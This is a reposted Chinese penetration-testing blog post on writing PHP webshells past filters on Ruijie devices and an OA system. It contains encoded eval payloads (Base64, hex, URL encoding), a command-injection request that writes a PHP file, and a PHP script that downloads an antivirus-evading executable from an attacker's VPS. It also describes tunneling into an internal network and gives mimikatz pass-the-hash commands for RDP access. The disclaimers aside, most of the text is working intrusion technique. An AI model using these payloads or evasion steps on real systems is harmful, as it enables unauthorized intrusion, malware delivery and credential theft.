文章总结: 本文介绍了PHPWeb攻防实战中三种常见的写shell疑难杂症及解决思路,包括文件上传时特殊字符过滤问题、命令注入不出网情况下的绕过方法以及权限限制下的远程下载免杀马技术,提供了Base64编码、十六进制编码、unicode转换等多种实用绕过技术,帮助渗透测试人员应对各种安全防护机制。
综合评分: 89
文章分类: WEB安全,渗透测试,漏洞分析,红队,内网渗透
【Web攻防】基于PHP攻防实战写shell疑难杂症解决思路
原创
亦
Polaris安全团队
2025年8月14日 15:03
广西
前言
关于前些天审计了锐捷多处漏洞,发现部分写shell存在系统过滤机制截断或转义的问题,基于PHP语言在攻防演练实战中经常遇到写shell遇到些疑难杂症,对此分享下绕过思路。
免责声明:
由于传播、利用Polaris本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责。仅记录学习使用。
案例一:文件上传
参考锐捷E-WEB漏洞分析文章中,前台上传写入phpinfo是正常,但写入shell为过长,换行等即会存在问题。
由于文件写入时的特殊字符处理导致,在文件内容中包含换行符或其他特殊字符时,可能会过滤机制截断或转义。此时可利用以下几种方法进行操作。
Base64编码绕过: PHP代码进行Base64编码,然后使用eval解码执行
<?php eval(base64_decode('cGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7'));
十六进制编码:
<?php eval(pack('H*','706870696E666F28293B756E6C696E6B285F5F46494C455F5F293B'));
短标签和URL编码:
<?=eval(urldecode('%70%68%70%69%6e%66%6f%28%29%3b%75%6e%6c%69%6e%6b%28%5f%5f%46%49%4c%45%5f%5f%29%3b'));
案例二:命令注入不出网
以锐捷的命令注入漏洞举例,执行whoami等常规命令输出至文件为正常格式:
写入shell时文件会被自动替换为空的0字节文件。
可利用编码等格式进行绕过:
利用unicode对空格等字符进行转换,将写入内容进行base64解密,wbeshell内容再次以PHP代码进行Base64编码,然后使用eval解码执行。
type=%7Cbash+-c+%27echo+ZWNobyAnPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCJjR2h3YVc1bWJ5Z3BPM1Z1YkdsdWF5aGZYMFpKVEVWZlh5azcrIikpOycgPi4uL3Rlc3Q4My5waHA=+%7C+base64+-d+%7C+bash+%26%26+exit+0%27
ok,成功写入。
案例三:无法执行命令的权限
某达OA获取到shell权限后,无法执行命令。
发现存在流量检测关键字,将+号均替换为空,可绕过执行命令。
tasklist/svc查看存在的杀软情况,一堆鬼东西,限制的非常死,开了出网限制。
<?php
<?php
$url = 'http://vps:8000/s.exe';
$saveAs = 's.exe';
// 使用流式读写(避免内存问题)
$source = fopen($url, 'rb');
if (!$source) die("无法打开远程文件");
$dest = fopen($saveAs, 'wb');
if (!$dest) die("无法创建本地文件");
while (!feof($source)) {
fwrite($dest, fread($source, 8192)); // 8KB 分块
}
fclose($source);
fclose($dest);
利用php自带函数远程下载免杀马绕过。
原本以为执行就上线,发现只允许白名单内的程序出网。
通过远程下载正向隧道,终于干进内网。
最后写了个dump工具进行抓取hash,
privilege::debug
sekurlsa::pth /user:administrator /domain:10.100.20.5 /ntlm:hash值 "/run:mstsc.exe /restrictedadmin"
利用mimikatz,hash传递远程登录rdp。得吃~
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Polaris安全团队 亦《【Web攻防】基于PHP攻防实战写shell疑难杂症解决思路》